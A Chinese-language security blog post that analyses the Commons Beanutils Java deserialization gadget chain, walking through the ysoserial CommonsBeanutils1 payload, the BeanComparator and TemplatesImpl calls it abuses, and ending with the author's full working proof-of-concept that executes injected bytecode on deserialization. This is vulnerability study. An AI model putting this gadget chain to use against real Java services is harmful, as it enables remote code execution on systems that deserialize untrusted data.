Commons Beanutils 反序列化分析

Commons Beanutils反序列化分析

Commons Beanutils

Javabean是什么不过多介绍了,自己看这篇文章

commons-beanutils提供了一种静态方法可以直接调用类getter方法

简单Demo

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
import org.apache.commons.beanutils.PropertyUtils;

public class CbTest {
    String name = "lululemon";
    
    public String getName() {
        return name;
    }

    public void setName(String name) {
        this.name = name;
    }

    public static void main(String[] args) throws Exception {
        System.out.println(PropertyUtils.getProperty(new CbTest(), "name"));
    }
}
image-20240325165950520

分析

直接上ysoserial payload进行分析

ysoserial.payloads.CommonsBeanutils1.java

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
package ysoserial.payloads;

import java.math.BigInteger;
import java.util.PriorityQueue;

import org.apache.commons.beanutils.BeanComparator;

import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;

@SuppressWarnings({ "rawtypes", "unchecked" })
@Dependencies({"commons-beanutils:commons-beanutils:1.9.2", "commons-collections:commons-collections:3.1", "commons-logging:commons-logging:1.2"})
@Authors({ Authors.FROHOFF })
public class CommonsBeanutils1 implements ObjectPayload<Object> {

    public Object getObject(final String command) throws Exception {
       final Object templates = Gadgets.createTemplatesImpl(command);
       // mock method name until armed
       final BeanComparator comparator = new BeanComparator("lowestSetBit");

       // create queue with numbers and basic comparator
       final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
       // stub data for replacement later
       queue.add(new BigInteger("1"));
       queue.add(new BigInteger("1"));

       // switch method called by comparator
       Reflections.setFieldValue(comparator, "property", "outputProperties");

       // switch contents of queue
       final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
       queueArray[0] = templates;
       queueArray[1] = templates;

       return queue;
    }

    public static void main(final String[] args) throws Exception {
       PayloadRunner.run(CommonsBeanutils1.class, args);
    }
}

首先创建了一个TemplatesImpl实例,分析过Commons Collections链我们很熟悉这个类(具体看CC分析),然后创建了一个BeanComparator示例comparator并传入lowestSetBit,看一下构造方法,根据传入参数初始化property和comparator,没有传入comparator所以使用默认的ComparableComparator.getInstance(),也就是定义了一个新的ComparableComparator实例

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
public BeanComparator(String property) {
    this(property, ComparableComparator.getInstance());
}

public BeanComparator(String property, Comparator<?> comparator) {
    this.setProperty(property);
    if (comparator != null) {
        this.comparator = comparator;
    } else {
        this.comparator = ComparableComparator.getInstance();
    }

}

继续向下,定义了一个优先队列queue并且传入上面定义好的comparator(PriorityQueue CC4见过,反序列化触发位置),并且添加了两个新的元素,值为BigInteger的1

再往下,反射设置comparator的property属性为outputProperties,并且反射拿到queue的queue存放到queueArray中,并传入我们定义好的TemplatesImpl实例

思路和CC4其实差不多,以PriorityQueue作为序列化触发位置,但是给的是BeanComparator实例,触发链前面同cc4:readObject() -> heapify() -> siftDown() -> siftDownUsingComparator(),最后触发BeanComparator.compare(),跟进看一下

对于传入的两个对象分别调用Propertyutils.getProperty()方法,前面讲了这个静态方法会触发传入类的getter方法,这边进行到这个函数时传入的o1, o2都为我们构造好的TemplatesImpl实例,并且此时this.property为我们传入的outputproperties,这样就会调用TemplatesImpl.getOutputProperties方法

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
public int compare(T o1, T o2) {
    if (this.property == null) {
        return this.internalCompare(o1, o2);
    } else {
        try {
            Object value1 = PropertyUtils.getProperty(o1, this.property);
            Object value2 = PropertyUtils.getProperty(o2, this.property);
            return this.internalCompare(value1, value2);
        } catch (IllegalAccessException var5) {
            throw new RuntimeException("IllegalAccessException: " + var5.toString());
        } catch (InvocationTargetException var6) {
            throw new RuntimeException("InvocationTargetException: " + var6.toString());
        } catch (NoSuchMethodException var7) {
            throw new RuntimeException("NoSuchMethodException: " + var7.toString());
        }
    }
}

跟进getOutputProperties方法,跟简单,执行了newInstance方法,这样就回到TemplatesImpl的利用逻辑上了

1
2
3
4
5
6
7
8
public synchronized Properties getOutputProperties() {
    try {
        return newTransformer().getOutputProperties();
    }
    catch (TransformerConfigurationException e) {
        return null;
    }
}

然后还有一个问题就是ysoserial通过反射去改的那两个属性都可以在初始化设置,还调用一次反射为什么,其实原因在分析CC链的时候也遇到过,避免初始化时本地命令执行多此一举

PoC

沿着这个思路写了一版poc

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.commons.beanutils.PropertyUtils;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.math.BigInteger;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.util.PriorityQueue;


public class CbTest {

    public static void main(String[] args) throws Exception {
        Path path = Paths.get(System.getProperty("user.dir") + "/target/classes", "Exp.class");
        byte[] bytes =  Files.readAllBytes(path);

        TemplatesImpl templatesImpl = new TemplatesImpl();

        Field bytecodes = templatesImpl.getClass().getDeclaredField("_bytecodes");
        bytecodes.setAccessible(true);
        bytecodes.set(templatesImpl, new byte[][]{bytes});
        Field name = templatesImpl.getClass().getDeclaredField("_name");
        name.setAccessible(true);
        name.set(templatesImpl, "123");
        Field tfactory = templatesImpl.getClass().getDeclaredField("_tfactory");
        tfactory.setAccessible(true);
        tfactory.set(templatesImpl, TransformerFactoryImpl.newTransformerFactoryNoServiceLoader());

        BeanComparator comparator = new BeanComparator("lowestSetBit");
        final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
        // stub data for replacement later
        queue.add(new BigInteger("1"));
        queue.add(new BigInteger("1"));

        // switch method called by comparator
        Field comparatorProperty = comparator.getClass().getDeclaredField("property");
        comparatorProperty.setAccessible(true);
        comparatorProperty.set(comparator, "outputProperties");

        // switch contents of queue
        Field comparatorQueue = queue.getClass().getDeclaredField("queue");
        comparatorQueue.setAccessible(true);
        final Object[] queueArray = (Object[]) comparatorQueue.get(queue);
        queueArray[0] = templatesImpl;
        queueArray[1] = templatesImpl;

        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("test.txt"));
        oos.writeObject(queue);
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("test.txt"));
        ois.readObject();
    }
}
0%